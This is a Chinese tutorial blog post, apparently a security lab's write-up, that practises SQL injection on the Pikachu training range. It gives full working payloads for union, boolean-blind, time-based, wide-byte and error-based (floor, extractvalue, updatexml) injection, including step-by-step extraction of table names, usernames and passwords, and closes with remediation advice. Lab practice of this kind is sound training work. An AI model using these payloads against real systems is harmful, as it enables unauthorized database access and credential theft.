sql 把某一列拼接_SQL注入之Pikachu靶场戏耍

网安引领时代,弥天点亮未来   

aa22613ff6c0b8c96489055c36470dde.png

0x00软文目录

盲注

   常规型

   布尔型

   延时

宽字节注入

报错注入

aa22613ff6c0b8c96489055c36470dde.png

0x01测试实战

 

盲注

常规型

013735bb571e90f24e11f43b8e6157b1.png

d9e45807347eb60111d557f885cd93ac.png

b7413fbb6265ec787647688b4ec76798.png

5505f9aec8fcc719cb27bcb5afdc5861.png

fa1d7bc43b8de698a74dff6d26aaadc4.png

4141a0fe07136e285fb09fb044625491.png

17218eadcd5921699c6a3cd2a212f413.png

 MYSQL数据库版本5.0以上有一个information_scheam表存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等。

-lucy' union select group_concat(table_name),2 frominformation_schema.tables where (table_schema='pikachu') -- +

解释:使用group_concat函数让数据显示在一列。 

8cc8fd7a2e7b04c66c1039d36e4495b5.png

查看users表里username和password的内容

73e5711a8365891483f55f80885b8207.png

盲注

布尔型

a8fc71a7cd7d49e81ba13fffd2f5538f.png

31f622476c2bf0a6f47ed360a2d55217.png

或者

8d234c4ffe0660e1c77c510fe9f58985.png

5e77e94d76d1ef317c8832f41698ecfb.png

判断当前数据库名字的第一位字符

kucy' and left(database(),1)='§a§'--+

解释:

    1.left的作用就是获取某个数据的第几个值,在通过大于/小于/等于来判断当前值

    2.判断当前数据库名字的第二位只需把left函数里的值改2,把已经爆破出来的每一位填上,如此类推就可以得知数据库名字了。

7d7c77ec207302306437388e3b777e6a.png

 判断当前数据库第二位字符

lucy' and left(database(),2)>'p§a§'--+

解释:

    1.把left函数里的1改为当前要注入的位数2

    2.注意要把前面盲注出来的第一个字符“p”填上 

重复该步骤爆破出当前数据库pikachu


爆破指定数据库第一个表名的第一位字符

' and left((select table_name frominformation_schema.tables where table_schema='pikachu' limit 0,1),1)='§a§'--+

爆破指定数据库第一个表名的第二位字符

' and left((select table_name frominformation_schema.tables where table_schema='pikachu' limit 0,1),2)='h§a§'--+

爆破指定数据库第二个表名的第一位字符

' and left((select table_name frominformation_schema.tables where table_schema='pikachu' limit 1,1),1)='§a§'--+

通这种方法爆破出当前数据库的所有表(httpinfo,member,message,users,xssblind)

爆破users表里的第一个表头的第一位

' and left((select column_name frominformation_schema.columns where table_name="users" limit0,1),1)='§a§'--+

爆破users表里的第一个表头的第二位

' and left((select column_name frominformation_schema.columns where table_name="users" limit0,1),2)='u§a§'--+

爆破users表里的第二个表头的第一位

' and left((select column_name frominformation_schema.columns where table_name="users" limit1,1),1)='§a§'--+

爆破users表里的第二个表头的第二位

' and left((select column_name from information_schema.columnswhere table_name="users" limit 1,1),2)='f§a§'--+

根据这种方法可以列出所有表头,管理员信息存放在username,password里

继续爆破username,password的内容

爆破表头username第一列的第一个字符

' and left((select username from users limit0,1),1)='§a§'--+

爆破表头username第一列的第二个字符

' and left((select username from users limit0,1),2)='a§a§'--+

爆破表头password第一列的第一个字符

' and left((select password from users limit0,1),1)='§a§'--+

爆破表头password第一列的第二个字符

' and left((select username from users limit0,1),2)='e§a§'--+

盲注

延时

    延时注入:根据服务器返回时间确定注入语句是否成立。

daebbceb9ea8c787a4e8f3599e00021f.png

2012de03406d26f9350f9c4810425ca5.png

 判断当前数据库名长度

'and if(length(database())=1,1,sleep(3))#

宽字节注入

  宽字符是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会丢掉转义字符“\”(编码后即将它转换为%5C),而刚好在前面跟上“%df”即“%df%5C“,解码是一个汉字”運“,这样就可以成功闭合转义符”\”,所以产生宽字节注入。

f5f183e958b3346635d2553fc46bf8da.png

0d944896ca83e7256261abef65e4dd07.png

1311642675c7c16faa641ba2fab5235f.png

 报错注入

  从“insert注入”和“update注入”的注入语句就可以看出有少许差异,而实质上确实有点区别。“insert注入”的主要功能点在插入表单,所以注入前后都需要用or来连接注入,不能用and连接并且后面语句不能注释,否则传入Mysql数据库的查询语句就会出现语句逻辑出错,无法进行注入。

“update注入”的主要功能点在更新表单,查看PHP源码的传入数据库命令可知,在这种情况下如果存在报错注入,可以直接用and连接注入语句注释后面语句,实际传入数据库的语句并不会出现逻辑错误。

No.1:floor

' and (select  count(*)  from information_schema.tables group by concat((select version()),floor(rand(0)*2)))#

No.2:extractvalue 

' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

No.3:updatexml 

' and updatexml(1,concat(0x7e,(select user())),0x7e)#

5f1630df5d3d47c810d5283d16b9ad51.png

7f4aa6dbc318c3680a711dfcf305a932.png

72e96f6c224be179f809d1e2744633fc.png

aa22613ff6c0b8c96489055c36470dde.png

0x02修复建议

 

1、使用预编译SQL查询方式进行数据库查询和绑定变量。

(1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。

(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。

(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。

(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。

(5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。

(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

(7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

(8)过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。

2、对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制,通过对输入数据的格式和长度限制也能一定程序的避免SQL注入、跨站脚本等漏洞的攻击。

f738d45e9bede8f2c594b1c47495d3fe.gif 

知识分享完了

喜欢别忘了关注我们哦~

予以风动,必降弥天之润!

   弥  天

安全实验室

7837b34ec0fcb02776ebcd76532b5835.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值